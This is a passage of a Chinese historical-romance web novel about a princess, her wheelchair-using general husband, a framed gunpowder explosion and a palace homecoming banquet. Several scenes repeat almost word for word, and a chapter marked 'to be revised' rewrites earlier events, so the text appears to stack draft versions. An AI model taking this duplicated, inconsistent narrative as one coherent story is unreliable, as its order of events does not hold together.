白智人如其名,虽为女子但身形高挑,将有八尺,浑身气质乃是书堆里养起来的淡然。
“起。”
景回道:“深山之事如何了?”
白智看了陆颂渊一眼,见景回无甚吩咐,才缓缓说道:“昨夜公主走后,丞相便亲自带着公主留下来的人一寸寸搜山,后来几位皇子也带人过来。”
景回点点头,示意白智继续说。
白智道:“丞相猜搜山动静之大,点燃火药之人定不会冒险逃走,果不其然,后半夜在深山的一个洞穴中找到了他们。”
“他们是谁?”
景回问道。
“是驼风人。”
“什么?”
景回转头看向陆颂渊。
上次在宫中,驼风人挟持她是想要陆颂渊手中的塔干,那昨日引爆火药,又是为了什么。
“可审了?”
“审了。”
白智道:“驼风人为探查火药库所在位置,给山下一猎户金银珠宝,那猎户抵挡不住诱惑,多次让守仓库的自家兄弟带驼风人上山踩点。”
“猎户。”
深山从上到下处处都是火药味,百里之内无一活物,哪里来的猎户。
白智看出景回心中所想,“猎户家中已人去楼空,家中摆具都是新的。”
意料之中。
景回道:“他们受何人指使,为何要炸火药库?”
白智看陆颂渊一眼,说道:“他们说,一切都是陆将军指使。深山之中有火药之事,陆将军在北境便说过,引路之人是陆将军的人,甚至给他们逃跑路线的人也是陆将军的人。”
雨不知何时停了,屋内恍若无人般寂静。
景回顿了半晌,看向陆颂渊。
她唇角带着笑,眼中却无半分笑意,“陆将军怎么说。”
“殿下,这是污蔑。”
陆颂渊手指抚上书角压住,“且不说驼风乃是我朝世仇之敌,且说,除却此次回京述职,臣从未来过上京,更别说知晓深山之中有火药了。”
景回看着他,转头问白智,“丞相如何看?”
“对于驼风二人,我们只是大致问过,丞相也不知是真是假。”
白智道:“陛下昨夜醒来,对此事很是忧心,二皇子抓了人之后,丞相也入宫禀报去了。”
连忠找到的人,景傲却抓走了人。
用发丝想都知道是怎么回事,景回面上不掩嫌弃,“替本公主多谢丞相。”
连忠进宫,自然是不会让景傲独占功劳的。
“是。”
“另,你亲自带人去,给本公主重审那两个驼风人,不准景傲插手。”
景回顿了顿,道:“若景傲阻碍你们,便跟他说,本公主乃是为还夫君清白,让他滚一边去。若他还是不肯,便直接去找我父皇。”
陆颂渊本在饮茶,听闻夫君二字,握着茶杯的手微微顿住,景回话音落了之后,他又若无其事放下茶杯。
“下官遵命。”
白智拱手行礼,“下官告退。”
白智走后,景回没管陆颂渊追随的目光,后仰着靠在榻里的金丝软枕上,闭眼思索。
驼风人的话不可尽信,也不可不信。
景回看人向来准,陆颂渊或多或少都参与了这火药爆炸之事,只是不知他是头前引路之人,还是幕后推手。
景回睁开眼,与陆颂渊对上目光。
陆颂渊的眼睛不论何时都极亮,如天上寒星落入黑潭之中,与他对视时,似乎总是能一眼就看入他心底,但景回知道,那不过是一层完美的伪装罢了。
她沉浸皇宫多年,向来喜欢真诚之人,与陆颂渊这种满身迷雾,层层伪装包裹之人相处,着实是累。
“用膳吧。”
将到午后,景回饿得很。
陆颂渊一直在等着她问些什么,闻言微不可察地皱了下眉,“好。”
午后不多时,白智便又来了将军府中,还带来了那二人的供词。
供词所说与晨起大不相同,他们说见陆颂渊不肯给塔干,只好寻了个由头想要栽赃他,让景文帝下令处置陆颂渊。
一来一去的供词恍若孩童之言,漏洞百出。
景回看过之后随手扔在了桌上,明日回门宴,且看景文帝是如何打算。
-
隔日,景回醒来时浑身酸痛,尤其是腰侧之处。
新婚夫妻同塌而眠,这是千百年来的共识之事。
纵是二人并不相熟,之间还有隔阂在,除却新婚之夜,倒是谁也未说要分房。
从前在锦绣宫中,偌大床铺上景回滚来滚去无人敢管。
但现下夜里睡觉,景回却总是感觉有人紧紧束缚着她,导致她只能一个姿势睡到天亮。
景回坐起身,揉着腰侧怒视着早就洗漱过后坐在床边不远处轮椅上的陆颂渊,“陆颂渊,昨夜你对本公主做了什么!”
“臣什么也没做。”
陆颂渊今日红冠将发丝高高束起,身穿一身绯红金丝缕衣,衬得他面色红润,仿佛有喜事发生。
他反问道:“昨夜殿下几次三番把我踹醒,可是梦到了什么?”
景回瞪大眼睛,看向一旁的阿鱼,阿鱼眨眨眼,昨夜她确实听见了帐内陆颂渊安抚景回的动静。
景回看见阿鱼的表情,便知陆颂渊所说可能是真的,她理不直气壮,“你管我。”
说完便下床去洗漱了。
二人用过早膳,便一同往门外走去。
坐着不显什么,一走起路来这腰疼的险些要命,景回抓着阿鱼的手臂,无奈地扶着腰,跟在陆颂渊身后走着。
是不是还瞪陆颂渊的后脑勺一眼。
府中的下人们正往车上搬着东西,待放好后,二位主子上车。
马车缓缓离去,那日在陆颂渊书房外的小婢女拉着另一个人说道:“那日阿鱼姐姐说陆将军不举,可这看着也不像啊……”
那人问:“为何不像?”
小婢女道:“我曾经在宫中伺候过主子,那……之后娘娘们多累腰,公主今日这不就扶着腰呢。”
“可是昨夜并未听见叫水声啊。”那人不解。
“许是我们没听见,反正我看着将军应当
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……”
“应当什么?”
“很行!”
“我觉得也是!”
两人互相对视一眼,红了个大脸,“不不不准说了,快去干活了,被人听见要掉脑袋的。”
“好,走了。”
二人这厢跑走后,陆青越背着手慢悠悠从门后走出来。
他看着二人背影,问身旁的陆昼雪道:“我这个助将军重振雄风的主意怎么样?”
陆昼雪往旁边挪一步,“你不怕公主知道后杀了你。”
“公主不会知道。”
陆青越理所当然,“抱公主一夜的人又不是我,跟我有什么关系。再说了,我看将军这个样子,日后怕是真的要在公主面前证明一下。啧,就是不知道公主同不同意。”
“无聊。”
他絮絮叨叨个没完,陆昼雪满脸不耐地抬步向外走去,说道:“赶紧跟上。”
“是——”
陆青越拖着长音,“阿姐。”
-
马车一路不停,缓缓驶进皇宫,到了养心殿前,二人一同下马车,走进去拜见景文帝。
今日养心殿十分通透,日头顺着窗户缝隙照在屋中,衬得坐在桌边的景文帝气色都好了不少。
景回笑笑,“儿臣参见父皇,父皇万安。”
“臣参见陛下,陛下万安。”
景文帝大病初愈,面上看着再如何,内里还是虚弱的,且听他说话便能听出来。
景回有数日没见过景文帝,陆颂渊更甚有几月了。
“起吧,阿珠过来,父皇看看。”
景回走过去俯身让景文帝摸她的头,她桃花眸子弯弯,“父皇看上去好了不少,身子可还有不适?”
“你四哥前些日子去江北,给朕寻来了一个游医,游医开的方子和太医院的太医不同,吃下几副药便好多了。”
景文帝眼中遗憾满满,“没能去成阿珠的婚事,父皇心有遗憾。”
景回忽然热泪上涌,她眨眨眼压下去,“不遗憾,父皇疼阿珠,我都知道。”
景文帝笑着拍了拍景回的头,看向她身后默默坐在轮椅上的陆颂渊。
“那日深山火药爆炸,连老来跟朕禀报,是你的人及时发现,阻止了更大的爆炸。”
景文帝收了笑,问出和景回一样的疑问:“缘何你的人会在深山附近?”
陆颂渊垂下眼帘,恭敬地说道:“回陛下,青越和昼雪不曾来过上京,前几日昼雪说想吃边城的糯米团子,青越便趁空闲之时去买给她。”
“嗯?”
陆颂渊这般说,景文帝和景回对视一眼,二人都未再问。
还不到午膳时辰,景回坐去一旁,景文帝忽然问陆颂渊道:“上次朕精力不济,并未来及问你,驼风人所说的塔干,是何物啊?”
景回看向陆颂渊,陆颂渊摇摇头道:“回陛下,臣不知塔干为何物,更不知那人为何那般污蔑臣。至于他口中兵力,更是无稽之谈。”
他说的掷地有声,景文帝都愣了下。
“咳咳咳。”
景文帝的咳嗽声震天响,景回连忙上前伺候他喝了些水,“阿珠,坐吧。”
“是。”
景回坐去一旁。
“此次深山爆炸,是你的人及时发现,乃是大功一件。”
景文帝对陆颂渊说道:“北境安定无战事,你与朕的阿珠方才成婚,便不用急着回去北境,好好待在上京养养身子吧。”
方才提了塔干之事,现下再说这些,明眼人都看得出来景文帝此举何意。
景回从赐婚开始,便从未想过日后与陆颂渊日日相对,她皱眉看向陆颂渊。
只见陆颂渊也眉头轻皱,半晌后才说道:“是,臣遵旨,多谢陛下。”
这厢众人说完,便到了午膳时辰,众妃子也来了。一顿不远不近的皇家午膳用完,今日回门宴便算结束了。
景回跟景文帝说了会儿话后,说道:“父皇,儿臣想去看看阿姐。”
景文帝方才晴天的脸骤然转阴,“那个混账,看她作甚!”
12. 母后。
在景回和陆颂渊睡下后不久,公主和将军车架被劫的事便传到了宫中。
景文帝本来在喝药,一时情急推开药碗被烫伤不说,还滚下了龙床。
太后闻言急匆匆赶来,派大半京营的人出去找后,心疼又愤怒地骂了景文帝一顿。
景文帝眼神闪动,“母后,其余事情都不重要,阿珠若是出了事,儿子百年之后如何能去见梓童!”
太后拍了拍皇帝的胸口,端上一碗新药递给今日侍疾的四皇子,对皇帝说道:“哀家亲自派人去找,定不会叫她出事,你莫要再跌了皇帝该有的威严。”
方才景文帝跌下龙床之时,有不少妃子大臣,还有皇子公主们在跟前。
景文帝道:“儿子知道。”
太后这厢稳步出了养心殿,下玉阶走了几步后,吩咐一旁之人,“派影卫出去寻。”
顿了顿,太后说道:“只需寻六公主。”
身侧之人愣了下,随即应下,“是!”
顷刻间,皇宫六部将军府丞相府,四方不同之人怀着不同的目的皆向着深山来。
-
天光熹微,晨光刺破林中雾气,丝丝缕缕照亮林间,落在正熟睡的二人脸上。
披风动了动,陆颂渊率先醒了过来。
这般在硬地上睡了一夜,饶是他也有些受不了。
稍微缓了下,陆颂渊晃了晃僵硬的脖子,慢慢抽出被景回压了一夜的胳膊,摸了摸腰间的伤口坐起了身。
一夜过去,伤口已经不流血了,不流血便不用再管了。
陆颂渊转头看向景回。
昨夜滚落之时,她脸上沾了不少泥土,后来给他上药,唇珠上也沾了一层青绿,头发散乱着落在她面庞脖颈上,活像北境表演歌舞之时的小达子。
这样的环境,她怎地还能睡这么熟。
陆颂渊皱皱眉,伸手过去叹了下景回的鼻息。
是不同寻常的烫。
“殿下?”
陆颂渊边唤着景回,边摸上她的额头,滚烫。
她发烧了。
陆颂渊一连叫了她许多声,景回都没有反应,不知是不是烧晕过去了。
陆颂渊瞬间面色阴沉,他掐住景回腕上的穴位,强行把人叫醒。
“唔——”
景回挣扎着手腕,说道:“痛!”
她自认为用了很大的力气挣扎,但那手在陆颂渊手中不过是蹭了蹭,“你发烧了。”
景回恍恍惚惚睁开眼,面前之人长发披散,模糊不清,晨光落在他肩上,衬得他温柔无比。
她歪歪头,强撑着起身抱住陆颂渊的脖颈,骑在他身上唤道:“母后。”
陆颂渊僵住身子,半晌后眯了眯眼,偏头问道:“你叫我什么?”
“嗯——”
景回晃了晃头,再没了动静。
林中又安静下来,被叫母后的人坐了半晌,忽然散发出来些“母爱”。
陆颂渊伸手环住了景回的腰身,让她坐得的姿势更舒服了些。
日头不断升高,陆颂渊靠在枯树上,仰头看了看,知晓约莫是到了卯时末。
这么个山坡,宫中那些人还没找来,一群废物。
这厢陆颂渊刚这么想着,那厢山坡上便传来了熟悉的叫声。
并无众多脚步声,只有一两个人的声音,这脚步声陆颂渊熟的不能再熟,因此便也知道,除了他的人,暂时无人寻到此处。
“将军——”
“公主——”
“你们在下面吗?”
走下来会死,陆颂渊应了声,“在。”
上方还是那般喊,无人走下来,陆颂渊心道待他出去非揍陆青越一顿,无奈大声应道:“还不滚下来!”
“太吵了。”
胸腔震动的景回不安,她伸手摸索着从陆颂渊的侧脸一直蹭到唇上,死死将他的唇捂住了。
……
陆青越赶来时,看见的便是一副他从来没想过的能出现在陆颂渊说身上的画面。
他们将军靠着枯树,头发散乱无比,怀中抱着的美人跪坐在他腿上,他的下半张脸还被美人的葱白玉指挡住了。
若非看见那美人肩上的粉白披风熟悉,知晓公主身份尊贵,陆青越非得多和陆颂渊说几句。
不过那些人还没找到此处,还不妨碍陆青越开陆颂渊玩笑。
他拉着陆昼雪走过去,跟陆昼雪说道:“呦,阿姐,你看看这是谁啊?”
陆昼雪长发高高束起,手中拿着一柄银色雪花剑,清冷孤傲。
她朝陆颂渊行礼,“属下来迟,将军恕罪。”
陆颂渊拉开景回的手,点点头对吩咐道:“叫马车来。”
“是!”
陆昼雪说道:“宫中众人知晓公主失踪,派出去的人引得上京大乱,来此之人一波接着一波,其中有一波刺客是冲着您来的,他们想取您性命。”
“老规矩。”
陆颂渊冷冷吐出一句,“审完之后凌迟,谁派来的,扔到谁面前去。”
二人皆已习惯,连忙应下,“是。”
陆昼雪转身离去招呼人牵马车来,陆青越看了陆颂渊和景回一会儿,还是怀着不怀好意的笑容走到二人不远处,距离恰好停在陆颂渊揍不到他的地方,开始胡说八道。
“将军单独与公主独处一夜,滋味如何?”
陆青越撑着下巴,“温香软玉在怀,您有没有诉说一下生平,让公主更加怜惜您,进而在文帝面前多说您几句好话?”
他嘟嘟囔囔地实在烦人,连景回都被吵醒了,她偏头看向声音来处,又模糊看见一个沐浴在日光下,“你是谁?”
陆青越呼吸一窒,连忙恢复正形,“属下陆青越,参见公主殿下。”
景回听不清,“你太吵了,离我和母后远一些。”
“啊?”
陆青
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越瞪着双眼使劲眨,在二人脸上来回看,等景回再次睡着了,他都没搞懂这两位主子这是玩什么新花样呢?
-
陆昼雪仅去了一盏茶的功夫,便将搜寻之人和马车都找了来。
一大群人呜呜泱泱将这片山坡围住,有序地开始清理杂草准备让二位主子上车。
阿鱼一看见景回的模样便扑了过来,“公主!”
阿颜紧随其后,二人看着景回烧的通红的脸,皆是担忧不已。
“劳烦将军松手,我们扶公主上马车。”
陆颂渊环住景回的时间过久,连他自己都忘了还抱着景回,闻言僵了下,冷硬地说道:“嗯。”
陆颂渊倒是松了手,谁知不肯松手的人是景回,她死死环着陆颂渊的脖颈,众人又不敢掰疼了她,都看向陆颂渊。
对上众人的目光,陆颂渊也没有丝毫不好意思的神情流露出来,他也没有去碰景回,生怕再把景回叫醒后,她唤他母后。
到那时才是真的说不清。
“公主昨夜受了惊吓,现下正在发烧。”
陆颂渊大言不惭,“本将军心疼公主,劳烦众位把轮椅推来,我抱公主回府。”
众人面面相觑,互相看看,工部的大人连忙挥手,“是,是,将军稍候,还不快搬来!”
不多时,一行人从山坡上抬着个新的轮椅下来。
“将军的轮椅昨夜已经滚落悬崖,摔得不成样子了,这是工部连夜打造出来的新轮椅,供将军短程使用。待回去将军府,老臣会立刻派人上门给将军量身重新制作轮椅。”
陆颂渊看了眼那把毫无特色的轮椅,说道:“大人费心了。”
陆青越这会儿有了眼力见,赶忙上前挡住二人身影,由着自己的人将陆颂渊和景回一同扶上轮椅,又抬上马车。
一行人渐渐走远,不同之人前往不同之处报信去了。
山间逐渐安静下来,陆青越看着身边的阿颜。
“公主受伤了,这位姐姐还不去照顾公主吗?”
阿颜深知景回用意,朝着陆青越抬了下唇角说道:“公主旨意在上,你既然知道我心疼公主,便快些走吧。”
说完后,阿颜翻身上马,垂眸看着陆青越。
陆青越无奈牵起景回的马,往上京城中走去。
-
梦里浮浮沉沉,各个梦境混乱不堪地出现在景回脑中,促使她醒来的是耳边的一声闷雷。
屋内有些昏暗,景回缓了半晌,才发觉她躺在陆颂渊怀中。
一时分不清梦境现实,景回猛得松开手坐起身,转头看向屋外。
浑身的酸痛让景回意识到,她已经从山坡底下回到将军府中了。
“糟了!”
已经是隔日的晨起,外面还是一片昏暗。
陆颂渊被景回抱了两日,总算能呼吸了,他也缓缓坐起身,顺着景回的目光看向窗外,问道:“殿下怎么了?”
13. 阿姐。
“殿下怎么了?”
陆颂渊闻言抬头看向景回。
景回瞥了他一眼,总归这爆炸之事已经传开,无妨与他说些什么。
她忧心忡忡,“这般大的雨,说不定会引发深山山洪。若是将爆炸之处冲毁,便是一点证据都没有了。”
陆颂渊随着景回的目光看向窗外,他看着外头瓢泼的雨幕,眼中不知藏着何种情绪。
“听闻那夜丞相一整夜都在带人搜山,想来会有结果,殿下宽心。”
景回真是许久都未听到过这般硬邦邦安慰人的话了。
她斜晲了陆颂渊一眼,“你如何知晓?”
陆颂渊看着景回,“陆青越不敢违抗殿下之命,不久前刚从深山走回来。”
“噗。”
想起那夜的吩咐,又见陆颂渊语气平静,景回按捺不住笑出了声。
她手放在下颌撑在桌上,笑的眉眼弯弯,问陆颂渊:“你可怪我折腾你的人?”
陆颂渊向来跟不上景回的想法,他摸起茶杯喝了一口,放下后实话实说道:“不会,既已成婚,他们自然都是殿下的人,随殿下吩咐。”
“是吗?”
景回乐了,“那你也是本公主的人,本公主这般吩咐你,你也会照做吗?”
陆颂渊愣了下,“嗯,只要殿下想。”
意识到说了什么,景回嘴角的笑僵住,她在对着一个身有残疾之人说什么!
“咳,抱歉,我并非是……”
“公主!”
景回这厢话未说完,阿颜急匆匆走进来说道:“丞相大人派人来禀报深山之事了。”
“让人进来。”
“是。”
景回以往在锦绣宫自在惯了,并不拘泥于谈事就要去书房。
片刻后来报信之人走了进来,乃是是丞相府中的门客,景回认得她。
“下官白智拜见公主,公主万安。”
白智人如其名,虽为女子但身形高挑,将有八尺,浑身气质乃是书堆里养起来的淡然。
“起。”
景回道:“深山之事如何了?”
白智看了陆颂渊一眼,见景回无甚吩咐,才缓缓说道:“那夜公主走后,丞相便亲自带着公主留下来的人一寸寸搜山,后来几位皇子也带人过来。”
景回点点头,示意白智继续说。
白智道:“丞相猜搜山动静之大,点燃火药之人定不会冒险逃走,果不其然,后半夜在深山的一个洞穴中找到了他们。”
“他们是谁?”
景回问道。
“是驼风人。”
“什么?”
景回转头看向陆颂渊。
上次在宫中,驼风人挟持她是想要陆颂渊手中的塔干,那昨日引爆火药,又是为了什么。
“可审了?”
“审了。”
白智道:“驼风人为探查火药库所在位置,给山下一猎户金银珠宝,那猎户抵挡不住诱惑,多次让守仓库的自家兄弟带驼风人上山踩点。”
“猎户。”
深山从上到下处处都是火药味,百里之内无一活物,哪里来的猎户。
白智看出景回心中所想,“猎户家中已人去楼空,家中摆具都是新的。”
意料之中。
景回道:“他们受何人指使,为何要炸火药库?”
白智看陆颂渊一眼,说道:“他们说,一切都是陆将军指使。深山之中有火药之事,陆将军在北境便说过,引路之人是陆将军的人,甚至给他们逃跑路线的人也是陆将军的人。”
雨不知何时停了,屋内恍若无人般寂静。
景回顿了半晌,看向陆颂渊。
她唇角带着笑,眼中却无半分笑意,“陆将军怎么说。”
“殿下,这是污蔑。”
陆颂渊手指抚上书角压住,“且不说驼风乃是我朝世仇之敌,且说,除却此次回京述职,臣从未来过上京,更别说知晓深山之中有火药了。”
景回看着他,转头问白智,“丞相如何看?”
“对于驼风二人,我们只是大致问过,丞相也不知是真是假。”
白智道:“陛下那夜醒来之后,对此事很是忧心,二皇子抓了人之后,丞相也入宫禀报去了。”
连忠找到的人,景傲却抓走了人。
用发丝想都知道是怎么回事,景回面上不掩嫌弃,“替本公主多谢丞相。”
连忠进宫,自然是不会让景傲独占功劳的。
“是。”
“另,你亲自带人去,给本公主重审那两个驼风人,不准景傲插手。”
景回顿了顿,道:“若景傲阻碍你们,便跟他说,本公主乃是为还夫君清白,让他滚一边去。若他还是不肯,便直接去找我父皇。”
陆颂渊本在饮茶,听闻夫君二字,握着茶杯的手微微顿住,景回话音落了之后,他又若无其事放下茶杯。
“下官遵命。”
白智拱手行礼,“下官告退。”
白智走后,景回没管陆颂渊追随的目光,后仰着靠在榻里的金丝软枕上,闭眼思索。
驼风人的话不可尽信,也不可不信。
景回看人向来准,陆颂渊或多或少都参与了这火药爆炸之事,只是不知他是头前引路之人,还是幕后推手。
景回睁开眼,与陆颂渊对上目光。
陆颂渊的眼睛不论何时都极亮,如天上寒星落入黑潭之中,与他对视时,似乎总是能一眼就看入他心底,但景回知道,那不过是一层完美的伪装罢了。
她沉浸皇宫多年,向来喜欢真诚之人,与陆颂渊这种满身迷雾,层层伪装包裹之人相处,着实是累。
“用膳吧。”
将到午后,景回饿得很。
陆颂渊一直在等着她问些什么,闻言微不可察地皱了下眉,“好。”
午后不多时,白智便又来了将军府中,还带来了那二人的供词。
供词所说与晨起大不相同,他们说见陆颂渊不肯给塔干,只好寻了个由头想要栽赃他,让景文帝下令处置陆颂渊。
一来一去的供词恍若孩童之言,漏洞百出。
景回看过之后随手扔在了桌上,明日回门宴,且看景文帝是如何打算。
-
隔日,景回醒来时浑身酸痛,尤其是腰侧之处。
新婚夫妻同塌而眠,这是千百年来的共识之事。
纵是二人并不相熟,之间还有隔阂在,除却新婚之夜,倒是谁也未说要分房。
从前在锦绣宫中,偌大床铺上景回滚来滚去无人敢管。
但现下夜里睡觉,景回却总是感觉有人紧紧束缚着她,导致她只能一个姿势睡到天亮。
景回坐起身,揉着腰侧怒视着早就洗漱过后坐在床边不远处轮椅上的陆颂渊,“陆颂渊,昨夜你对本公主做了什么!”
“臣什么也没做。”
陆颂渊今日红冠将发丝高高束起,身穿一身绯红金丝缕衣,衬得他面色红润,仿佛有喜事发生。
他反问道:“昨夜殿下几次三番把我踹醒,可是梦到了什么?”
景回瞪大眼睛,看向一旁的阿鱼,阿鱼眨眨眼,昨夜她确实听见了帐内陆颂渊安抚景回的动静。
景回看见阿鱼的表情,便知陆颂渊所说可能是真的,她理不直气壮,“你管我。”
说完便下床去洗漱了。
二人用过早膳,便一同往门外走去。
坐着不显什么,一走起路来这腰疼的险些要命,景回抓着阿鱼的手臂,无奈地扶着腰,跟在陆颂渊身后走着。
是不是还瞪陆颂渊的后脑勺一眼。
府中的下人们正往车上搬着东西,待放好后,二位主子上车。
马车缓缓离去,那日在陆颂渊书房外的小婢女拉着另一个人说道:“那日阿鱼姐姐说陆将军不举,可这看着也不像啊……”
那人问:“为何不像?”
小婢女道:“我曾经在宫中伺候过主子,那……之后娘娘们多累腰,公主今日这不就扶着腰呢。”
“可是昨夜并未听见叫水声啊。”那人不解。
“许是我们没听见,反正我看着将军
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应当……”
“应当什么?”
“很行!”
“我觉得也是!”
两人互相对视一眼,红了个大脸,“不不不准说了,快去干活了,被人听见要掉脑袋的。”
“好,走了。”
二人这厢跑走后,陆青越背着手慢悠悠从门后走出来。
他看着二人背影,问身旁的陆昼雪道:“我这个助将军重振雄风的主意怎么样?”
陆昼雪往旁边挪一步,“你不怕公主知道后杀了你。”
“公主不会知道。”
陆青越理所当然,“抱公主一夜的人又不是我,跟我有什么关系。再说了,我看将军这个样子,日后怕是真的要在公主面前证明一下。啧,就是不知道公主同不同意。”
“无聊。”
他絮絮叨叨个没完,陆昼雪满脸不耐地抬步向外走去,说道:“赶紧跟上。”
“是——”
陆青越拖着长音,“阿姐。”
-
马车一路不停,缓缓驶进皇宫,到了养心殿前,二人一同下马车,走进去拜见景文帝。
今日养心殿十分通透,日头顺着窗户缝隙照在屋中,衬得坐在桌边的景文帝气色都好了不少。
景回笑笑,“儿臣参见父皇,父皇万安。”
“臣参见陛下,陛下万安。”
景文帝大病初愈,面上看着再如何,内里还是虚弱的,且听他说话便能听出来。
景回有数日没见过景文帝,陆颂渊更甚有几月了。
“起吧,阿珠过来,父皇看看。”
景回走过去俯身让景文帝摸她的头,她桃花眸子弯弯,“父皇看上去好了不少,身子可还有不适?”
“你四哥前些日子去江北,给朕寻来了一个游医,游医开的方子和太医院的太医不同,吃下几副药便好多了。”
景文帝眼中遗憾满满,“没能去成阿珠的婚事,父皇心有遗憾。”
景回忽然热泪上涌,她眨眨眼压下去,“不遗憾,父皇疼阿珠,我都知道。”
景文帝笑着拍了拍景回的头,看向她身后默默坐在轮椅上的陆颂渊。
“那日深山火药爆炸,连老来跟朕禀报,是你的人及时发现,阻止了更大的爆炸。”
景文帝收了笑,问出和景回一样的疑问:“缘何你的人会在深山附近?”
陆颂渊垂下眼帘,恭敬地说道:“回陛下,青越和昼雪不曾来过上京,前几日昼雪说想吃边城的糯米团子,青越便趁空闲之时去买给她。”
“嗯?”
陆颂渊这般说,景文帝和景回对视一眼,二人都未再问。
还不到午膳时辰,景回坐去一旁,景文帝忽然问陆颂渊道:“上次朕精力不济,并未来及问你,驼风人所说的塔干,是何物啊?”
景回看向陆颂渊,陆颂渊摇摇头道:“回陛下,臣不知塔干为何物,更不知那人为何那般污蔑臣。至于他口中兵力,更是无稽之谈。”
他说的掷地有声,景文帝都愣了下。
“咳咳咳。”
景文帝的咳嗽声震天响,景回连忙上前伺候他喝了些水,“阿珠,坐吧。”
“是。”
景回坐去一旁。
“此次深山爆炸,是你的人及时发现,乃是大功一件。”
景文帝对陆颂渊说道:“北境安定无战事,你与朕的阿珠方才成婚,便不用急着回去北境,好好待在上京养养身子吧。”
方才提了塔干之事,现下再说这些,明眼人都看得出来景文帝此举何意。
景回从赐婚开始,便从未想过日后与陆颂渊日日相对,她皱眉看向陆颂渊。
只见陆颂渊也眉头轻皱,半晌后才说道:“是,臣遵旨,多谢陛下。”
这厢众人说完,便到了午膳时辰,众妃子也来了。一顿不远不近的皇家午膳用完,今日回门宴便算结束了。
景回跟景文帝说了会儿话后,说道:“父皇,儿臣想去看看阿姐。”
景文帝方才晴天的脸骤然转阴,“那个混账,看她作甚!”
14. 待改。
这日暴雨之后,天便一直大晴,景回忧心的山洪也并未发生。
她和陆颂渊在府中安心养了几日伤,这日黄昏前,白智又来了将军府中,这次她是奉了丞相之令,来送那些驼风人的供词。
不知他们用了什么法子,这次的供词倒是跟前几日所说大不相同。
驼风人说,他们见用景回要挟陆颂渊,陆颂渊都不肯给塔干,只好寻个由头栽赃他,好像景文帝下令处置陆颂渊。
若是陆颂渊身侧戒备送了,他们就能将陆颂渊抓住逼他出塔干。
一来一去的供词恍若孩童之言,漏洞百出。
景回看过之后随手扔在了桌上,问白智道:“可查出那猎户的眉目了?”
“还未。”
白智道:“我们在深山四周摸排许久,奈何深山附近住户实在太少,许久都没问出什么。后来误打误撞碰见隔壁山头一真正的猎户,才有了些眉目。那人说说曾在上京城中见过那猎户,丞相已经遣人去找此人画像了,届时拿着画像去寻找,想来应当会有结果。”
景回点点头,又看向桌上供词,问道:“丞相怎么说?”
“丞相说这供词不可尽信,也不可不信。”
与景回所想完全相当,景回点了点头。
事已至此,她们能做的都做了,余下只有明日进宫吃回门饭之时,看景文帝那厢如何说了。
景回忽而想起什么,看着白智问道:“连珠进来可往丞相府传过家书?”
白智呆愣一瞬,答道:“传过。”
景回见她的样子笑了下,问道:“他此次出去时候不短了,可是要回来了?”
白智行礼道:“是,最迟下月。”
下月便是冬月了,天要凉了,想来应当是能顺利取回南疆的重要之物。
“多谢你告知我。”景回说道。
白智抿了下唇,说道:“公子在家书中多次提及公主,他对公主成婚之事甚是愤怒,也很遗憾并未亲自来参加公主的婚礼……”
景回好笑地摆摆手,“他来做什么,将我的婚事搅得一团烂?不来才是正好呢。”
“他很惦记公主。”白智抬头看着景回。
景回偏了下头,哼笑道:“他惦记我那是另有所图,你不必多想。深山之事还需你多费心。”
这是不想再谈连珠,白智说道:“是,下官谨遵公主令,下官告退。”
白智走后,景回坐在榻上又将那供词翻来覆去看了许多遍,才唤阿鱼进来伺候洗漱。
两人一同往净室走去,路过床榻之时,景回欲言又止。
阿鱼看着景回的神情,说道:“昨夜公主睡下之后,将军还是回来睡下了的,今晨公主醒来之前,将军又走的。”
新婚夫妻同塌而眠,这是千百年来的共识之事。
纵是二人并不相熟,之间还有隔阂在,除却新婚之夜,倒是谁也未说要分房。
但那日陆颂渊的反应让景回羞恼又害怕,她想象不出将来与陆颂渊做那些要如何,脑子乱成一团,索性将陆颂渊往外赶,让他睡书房。
陆颂渊深知景回的气愤,嘴上答应了,但一日也没去过。
景回炸了毛,“谁要问他!”
阿鱼没忍住笑了一声,景回登时便要捂她的嘴,“你笑什么!小丫头片子,你也学着陆颂渊来欺负我!”
“公主,奴婢哪儿敢啊!”阿鱼边笑边躲,“只是看您和将军这般,才有种您终于成婚的实感。再说将军人很不错的,从树林中回来后,您抱着将军不肯撒手,也不肯让人靠近,他便亲手解决您的一切,并且陪着您在床上躺了一天一夜呢!”
景回愣住,忽而想起那干净的寝衣,“他给我换的?你给我站住!”
临到睡前,景回还心有芥蒂,她不论怎么问阿鱼,阿鱼都不说那寝衣是谁给她穿上的。
白日里睡多了,景回现下倒是一点也不困了,她躺在床上,迷迷糊糊快睡着之时,果真听见了廊下轮椅滚动的声音。
陆颂渊回来了。
景回连忙朝里躺好闭上眼,轮椅停在身后床边不久,像是确认她是否睡着了,待了片刻后,便滚动着往净室里去了。
景回本想等陆颂渊回来将他抓包,好好问问他,却不料越等越困,还是睡了过去。
迷迷糊糊不知睡了多久,景回感觉到身后有人将她抱进了怀里,那人的手臂横在她腰下,硌人得很。
她闭着眼推了推,“不要勒我,好痛。”
身后之人动了动,景回稍微舒服了些,但还是很痛。
怎料痛意抵挡不住困意,景回就那般重重睡了过去。
隔日,景回醒来时浑身酸痛,尤其是腰侧之处。
从前在锦绣宫中,偌大床铺上景回滚来滚去无人敢管。
但现下夜里睡觉,被人紧紧束缚着不说,导致她只能一个姿势睡到天亮。
景回坐起身,揉着腰侧怒视着早就洗漱过后坐在床边不远处轮椅上的陆颂渊,“陆颂渊,你故意的。”
“什么?臣听不懂。”
陆颂渊今日红冠将发丝高高束起,头顶的黑簪上坠了一颗偌大的红宝石,他身穿一身绯红金丝缕衣,衬得面色红润,仿佛有喜事发生。
他反问道:“昨夜殿下几次三番把我踹醒,可是梦到了什么?”
“本公主早就说了分房睡,你昨夜还偷偷上`床!”
“书房的床臣睡醒之后,总是感觉腰侧伤口疼,烦劳公主多包容。”陆颂渊脸不红心不跳,“且说公主夜间多爱滚动,有我挡着,还能预防公主受伤。”
他故意这么说!
景回瞪大眼睛,看向一旁的阿鱼,阿鱼眨眨眼,昨夜她确实听见了帐内陆颂渊安抚景回的动静。
景回看见阿鱼的表情,便知陆颂渊所说可能是真的,她理不直气壮,“你管我。”
说完便下床去洗漱了。
二人用过早膳,便一同往门外走去,准备前去宫中。
坐着不显什么,一走起路来这腰疼的险些要命,景回抓着阿鱼的手臂,无奈地扶着腰,跟在陆颂渊身后走着。
是不是还瞪陆颂渊的后脑勺一眼。
府中的下人们正往车上搬着东西,待放好后,二位主子上车。
